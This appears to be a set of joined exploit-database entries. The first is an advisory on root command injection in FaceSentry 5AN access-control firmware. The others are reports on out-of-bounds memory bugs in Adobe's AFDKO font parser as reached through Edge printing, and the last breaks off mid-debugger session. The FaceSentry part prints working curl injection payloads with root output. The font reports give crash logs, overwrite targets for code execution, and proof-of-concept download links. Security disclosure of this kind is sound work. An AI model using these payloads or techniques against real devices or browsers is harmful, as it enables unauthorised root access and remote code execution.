Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
Firmware 5.7.2 build 568 (Algorithm A14)
Firmware 5.7.0 build 539 (Algorithm A14)
Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.
Desc: FaceSentry suffers from an authenticated OS command
injection vulnerability using default credentials. This can
be exploited to inject and execute arbitrary shell commands
as the root user via the 'strInIP' and 'strInPort' parameters
(POST) in pingTest and tcpPortTest PHP scripts.
==============================================================
/pingTest.php:
--------------
8: if (!isAuth('TestTools','R')){
9: echo "No Permission";
10: include("footer.php");
11: exit;
12: }
13:
14: if(isset($_POST["strInIP"])){
15: $strInIP = $_POST["strInIP"];
16: }else{
17: $strInIP = "";
18: }
19:
20: $strOperationResult = "";
21: if ($strInIP != ""){
22:
23: $out = array();
24: exec("sudo ping -c 4 $strInIP",$out);
25: $result = "";
26: foreach($out as $line){
27: $result = $result.$line."<br>";
28: }
--------------------------------------------------------------
/tcpPortTest.php:
-----------------
14: if (isset($_POST["strInIP"])){
15: $strInIP = $_POST["strInIP"];
16: }else{
17: $strInIP = "";
18: }
19: if (isset($_POST["strInPort"])){
20: $strInPort = $_POST["strInPort"];
21: }else{
22: $strInPort = "";
23: }
..
..
53: $strOperationResult = "";
54: if ($strInIP != "" and $strInPort != ""){
55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10);
56: system("date>>".TCP_PORT_TEST);
57: if (!$fp) {
58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)";
59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST);
60: } else {
61: fclose($fp);
62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces");
63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST);
64: }
65: }
==============================================================
Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
Linux 3.4.113-sun8i (armv7l)
PHP/7.0.30-0ubuntu0.16.04.1
PHP/7.0.22-0ubuntu0.16.04.1
lighttpd/1.4.35
Armbian 5.38
Sunxi Linux (sun8i generation)
Orange Pi PC +
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5523
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php
28.05.2019
--
$ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \
--data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3'
$ curl http://192.168.11.1/garbage.txt
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------------------------------------
$ curl -X POST 'http://192.168.11.1/pingTest.php' \
--data 'strInIP=;sudo id' \
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \
|grep uid
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181
<font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:
--- cut ---
84 int cubeStackDepth;
85 float transformMatrix[6];
86 struct /* Stem hints */
87 {
88 float start_x; /* Path x-coord at start of Cube library element processing */
89 float start_y; /* Path y-coord at start of Cube library element processing */
90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */
92 int nMasters;
93 int leIndex;
94 int composeOpCnt;
95 float composeOpArray[TX_MAX_OP_STACK_CUBE];
96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
97 } cube[CUBE_LE_STACKDEPTH];
--- cut ---
The "cubeStackDepth" field is initially set to -1 in t2cParse():
--- cut ---
2534 h.cubeStackDepth = -1;
--- cut ---
The value shouldn't be used as an index if it is negative. When the tx_compose operation handler increments it to 0 or a larger value, it also sets the START_COMPOSE flag in h->flags. Most functions check the flag before using cubeStackDepth, for example:
--- cut ---
529 /* Callback path move. */
530 static void callbackMove(t2cCtx h, float dx, float dy) {
531 int flags;
532 float x, y;
533
534 if (h->flags & START_COMPOSE) {
535 /* We can tell that this is the first move-to of a flattened compare operator
536 with the START_COMPOSE flag.
537 dx and dy are the initial moveto values in the LE, usually 0 or a small value.
538 h->x and h->y are the current absolute position of the last point in the last path.
539 h->le_start.x,y are the LE absolute start position.
540 */
541 x = dx + h->cube[h->cubeStackDepth].offset_x;
542 y = dy + h->cube[h->cubeStackDepth].offset_y;
543 h->cube[h->cubeStackDepth].offset_x = 0;
544 h->cube[h->cubeStackDepth].offset_y = 0;
--- cut ---
However, neither the do_set_weight_vector_cube() nor do_blend_cube() functions respect this requirement, and instead assume that cubeStackDepth is greater than 0 when they execute. Below are the first few lines of do_blend_cube():
--- cut ---
1054 /* Execute "blend" op. Return 0 on success else error code. */
1055 static int do_blend_cube(t2cCtx h, int nBlends) {
1056 int i;
1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
1058 int iBase = h->stack.cnt - nElements;
1059 int k = iBase + nBlends;
1060
1061 if (h->cube[h->cubeStackDepth].nMasters <= 1)
1062 return t2cErrInvalidWV;
--- cut ---
The two affected functions subsequently read from and write to the out-of-bounds cube object at h->cube[-1]. In x64 builds of AFDKO, _t2cCtx.cube[-1] overlaps with the _t2cCtx.stack.blendArgs[92] structure, which is uninitialized in typical scenarios, but may also be user-controlled. This may lead to disclosure of uninitialized stack memory, or stack-based memory corruption and remote code execution.
-----=====[ Proof of Concept ]=====-----
The two proof of concept files trigger crashes in the standard "tx" tool compiled with AddressSanitizer and a slightly modified version of the afdko/c/public/lib/source/t2cstr/t2cstr.c file. Our patch adds ASAN redzones in between the fields of the t2cCtx structure, in order to make intra-object out-of-bounds accesses more visible. The PoCs invoke the do_set_weight_vector_cube() and do_blend_cube() functions without first executing a tx_compose instruction. The offending instruction streams are found in the CharStrings for letter "A".
-----=====[ Crash logs ]=====-----
Below, we present crash logs from the 64-bit "tx" tool compiled with ASAN and the redzone patch, run as ./tx -cff <path to font file>.
For do_blend_cube.otf:
--- cut ---
=================================================================
==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8
READ of size 4 at 0x7ffea1a88890 thread T0
#0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58
#1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38
#2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#10 0x7fa93072e2b0 in __libc_start_main
#11 0x41e5b9 in _start
Address 0x7ffea1a88890 is located in stack of thread T0 at offset 241616 in frame
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
This frame has 2 object(s):
[32, 757896) 'h' (line 2524) <== Memory access at offset 241616 is inside this variable
[758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 in do_blend_cube
Shadow bytes around the buggy address:
0x1000543490c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000543490d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000543490e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000543490f0: f7 f7 00 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00
0x100054349100: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 00 00 00 00
=>0x100054349110: f7 f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x100054349120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x100054349130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x100054349140: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x100054349150: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x100054349160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==96052==ABORTING
--- cut ---
Where the t2cstr.c:1057 line is:
--- cut ---
1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
--- cut ---
Furthermore, for do_set_weight_vector_cube.otf:
--- cut ---
=================================================================
==96231==ERROR: AddressSanitizer: use-after-poison on address 0x7ffe0355a7d8 at pc 0x00000069f2bb bp 0x7ffe0351b9d0 sp 0x7ffe0351b9c8
READ of size 4 at 0x7ffe0355a7d8 thread T0
#0 0x69f2ba in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49
#1 0x6858f1 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1883:38
#2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#10 0x7ffbfaea62b0 in __libc_start_main
#11 0x41e5b9 in _start
Address 0x7ffe0355a7d8 is located in stack of thread T0 at offset 241624 in frame
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
This frame has 2 object(s):
[32, 757896) 'h' (line 2524) <== Memory access at offset 241624 is inside this variable
[758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 in do_set_weight_vector_cube
Shadow bytes around the buggy address:
0x1000406a34a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a34b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a34c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a34d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 f7 f7 f7 f7 00
0x1000406a34e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7
=>0x1000406a34f0: f7 f7 f7 00 00 00 00 00 f7 f7 f7[f7]f7 f7 f7 f7
0x1000406a3500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a3510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a3520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a3530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x1000406a3540: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==96231==ABORTING
--- cut ---
Where the t2cstr.c:992 line is:
--- cut ---
992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47087.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The vulnerability resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, whose prologue is shown below:
--- cut ---
985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
986 float dx, dy;
987 int i = 0;
988 int j = 0;
989 int nMasters = 1 << nAxes;
990 float NDV[kMaxCubeAxes];
991 int popCnt = nAxes + 3;
992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
993 float *composeOps = h->cube[h->cubeStackDepth].composeOpArray;
--- cut ---
The "nAxes" argument may be controlled through the tx_SETWVN instruction:
--- cut ---
1912 case tx_SETWVN: {
1913 int numAxes = (int)POP();
1914 result = do_set_weight_vector_cube(h, numAxes);
1915 if (result || !(h->flags & FLATTEN_CUBE))
1916 return result;
--- cut ---
Later in do_set_weight_vector_cube(), there is very little sanitization of "nAxes", and the function mostly assumes that the argument is valid. Setting it to a negative value will cause the following check to pass:
--- cut ---
1022 if (composeCnt < (nAxes + 3))
1023 return t2cErrStackUnderflow;
--- cut ---
which enables us to execute the rest of the function with "nMasters" equal to an arbitrary power of 2, and "popCnt" set to an arbitrary negative value. This may lead to stack-based out-of-bounds reads and writes in the following loops:
--- cut ---
1028 /* Pop all the current COMPOSE args off the stack. */
1029 for (i = popCnt; i < composeCnt; i++)
1030 composeOps[i - popCnt] = composeOps[i];
[...]
1039
1040 /* Compute Weight Vector */
1041 for (i = 0; i < nMasters; i++) {
1042 h->cube[h->cubeStackDepth].WV[i] = 1;
1043 for (j = 0; j < nAxes; j++)
1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
1045 }
1046 /* Pop all the current COMPOSE args off the stack. */
1047 for (i = popCnt; i < composeCnt; i++)
1048 composeOps[i - popCnt] = composeOps[i];
--- cut ---
-----=====[ Proof of Concept ]=====-----
The proof of concept file calls do_set_weight_vector_cube(nAxes=-100000), causing AFDKO to perform largely out-of-bounds read/writes operations relative to the stack, which results in a SIGSEGV / ACCESS_VIOLATION crash of the client program in line 1030:
--- cut ---
1028 /* Pop all the current COMPOSE args off the stack. */
1029 for (i = popCnt; i < composeCnt; i++)
1030 composeOps[i - popCnt] = composeOps[i];
--- cut ---
-----=====[ Crash logs ]=====-----
Crash log of the "tx" 64-bit utility started as ./tx -cff <path to font file>:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
1030 composeOps[i - popCnt] = composeOps[i];
(gdb) where
#0 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
#1 0x0000000000460f3f in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1914
#2 0x000000000045e224 in t2Decode (h=0x7ffffff60188, offset=23565) at ../../../../../source/t2cstr/t2cstr.c:1412
#3 0x000000000045cb26 in t2cParse (offset=23565, endOffset=23574, aux=0x7156e8, gid=2, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
at ../../../../../source/t2cstr/t2cstr.c:2591
#4 0x000000000041371f in readGlyph (h=0x710380, gid=2, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
#5 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
#6 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#7 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:429
#8 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf")
at ../../../../source/tx.c:488
#9 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#10 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb) print i
$1 = -99997
(gdb) print popCnt
$2 = -99997
(gdb) print composeCnt
$3 = 4
(gdb)
--- cut ---
Crash log from the Microsoft Edge renderer process:
--- cut ---
(4378.f50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!do_set_weight_vector_cube+0x16a:
00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] ds:0000000b`2decf988=????????
0:038> u
DWrite!do_set_weight_vector_cube+0x16a:
00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx]
00007ff9`e87c0d84 890491 mov dword ptr [rcx+rdx*4],eax
00007ff9`e87c0d87 488d4904 lea rcx,[rcx+4]
00007ff9`e87c0d8b 4883ef01 sub rdi,1
00007ff9`e87c0d8f 75f1 jne DWrite!do_set_weight_vector_cube+0x16a (00007ff9`e87c0d82)
00007ff9`e87c0d91 e900010000 jmp DWrite!do_set_weight_vector_cube+0x27e (00007ff9`e87c0e96)
00007ff9`e87c0d96 33d2 xor edx,edx
00007ff9`e87c0d98 4d8bd0 mov r10,r8
0:038> ? rsp
Evaluate expression: 48015521648 = 0000000b`2df2b770
0:038> !teb
TEB at 0000000b2b0ae000
ExceptionList: 0000000000000000
StackBase: 0000000b2df40000
StackLimit: 0000000b2df2a000
[...]
0:038> k
# Child-SP RetAddr Call Site
00 0000000b`2df2b770 00007ff9`e87c2b1f DWrite!do_set_weight_vector_cube+0x16a
01 0000000b`2df2b800 00007ff9`e87c186e DWrite!t2Decode+0x15ab
02 0000000b`2df2b940 00007ff9`e87c4a62 DWrite!t2Decode+0x2fa
03 0000000b`2df2ba80 00007ff9`e87ac103 DWrite!t2cParse+0x28e
04 0000000b`2df3b3e0 00007ff9`e87ae3f7 DWrite!readGlyph+0x12b
05 0000000b`2df3b450 00007ff9`e87a2272 DWrite!cfrIterateGlyphs+0x37
06 0000000b`2df3b4a0 00007ff9`e873157a DWrite!AdobeCFF2Snapshot+0x19a
07 0000000b`2df3b9a0 00007ff9`e8730729 DWrite!FontInstancer::InstanceCffTable+0x212
08 0000000b`2df3bb80 00007ff9`e873039a DWrite!FontInstancer::CreateInstanceInternal+0x249
09 0000000b`2df3bda0 00007ff9`e8715a4e DWrite!FontInstancer::CreateInstance+0x192
0a 0000000b`2df3c100 00007ff9`f2df61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0b 0000000b`2df3c190 00007ff9`f2de9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0c 0000000b`2df3c2b0 00007ff9`cd7750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0d 0000000b`2df3c300 00007ff9`cd74fcb0 edgehtml!CDXPrintControl::Close+0x44
0e 0000000b`2df3c350 00007ff9`cd7547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0f 0000000b`2df3c380 00007ff9`cd62b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
10 0000000b`2df3c3b0 00007ff9`cd289175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
11 0000000b`2df3c3f0 00007ff9`cf5368f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47088.zip
----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:
--- cut ---
84 int cubeStackDepth;
85 float transformMatrix[6];
86 struct /* Stem hints */
87 {
88 float start_x; /* Path x-coord at start of Cube library element processing */
89 float start_y; /* Path y-coord at start of Cube library element processing */
90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */
92 int nMasters;
93 int leIndex;
94 int composeOpCnt;
95 float composeOpArray[TX_MAX_OP_STACK_CUBE];
96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
97 } cube[CUBE_LE_STACKDEPTH];
--- cut ---
The CUBE_LE_STACKDEPTH constant is defined in c/public/lib/resource/txops.h as:
--- cut ---
193 #define CUBE_LE_STACKDEPTH 6
--- cut ---
The "cubeStackDepth" index is incremented in t2Decode() (c/public/lib/source/t2cstr/t2cstr.c), in the handling of the tx_compose operation (number 2):
--- cut ---
1318 case tx_compose:
[...]
1365 h->cubeStackDepth++;
1366 /* copy compose ops to h->cubeOpArray */
1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
1368 while (h->stack.cnt-- > 0)
1369 h->cube[h->cubeStackDepth].composeOpArray[h->stack.cnt] = h->stack.array[h->stack.cnt];
1370 h->stack.cnt = 0;
[...]
--- cut ---
However there is no upper bound check of the value of the field, so by invoking the tx_compose operation several times in a row, it is possible to set it out of bounds. As user-controlled reads and writes can be performed on h->cube[h->cubeStackDepth], this may lead to non-continuous memory corruption and remote code execution. Various members of the _t2cCtx structure make a good target for overwriting, including the interpreter stack index/limit, the cff2/glyph/mem callback pointers etc. Furthermore, the _t2cCtx object itself is declared in the stack frame of the t2cParse() function, so stack frame pointers, return addresses and other control flow information can be corrupted through this vulnerability as well.
-----=====[ Proof of Concept ]=====-----
The proof of concept file triggers the bug upon decoding the instruction stream for letter "A". It calls the only global subroutine (index 0), which then indefinitely, recursively invokes itself through the tx_compose operator, each time incrementing h->cubeStackDepth by one. After several dozen iterations the function reaches the bottom of the stack and crashes with SIGSEGV / ACCESS_VIOLATION while accessing an invalid memory address.
-----=====[ Crash logs ]=====-----
A crash log from the "tx" tool being part of AFDKO, run as ./tx -cff <path to font file>:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000045deaa in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1367
1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
(gdb) print h->cubeStackDepth
$1 = 69
(gdb) print h->cube[h->cubeStackDepth]
Cannot access memory at address 0x7ffffffff488
(gdb) print h->cube[h->cubeStackDepth].composeOpCnt
Cannot access memory at address 0x7ffffffff4a0
(gdb) x/10i $rip
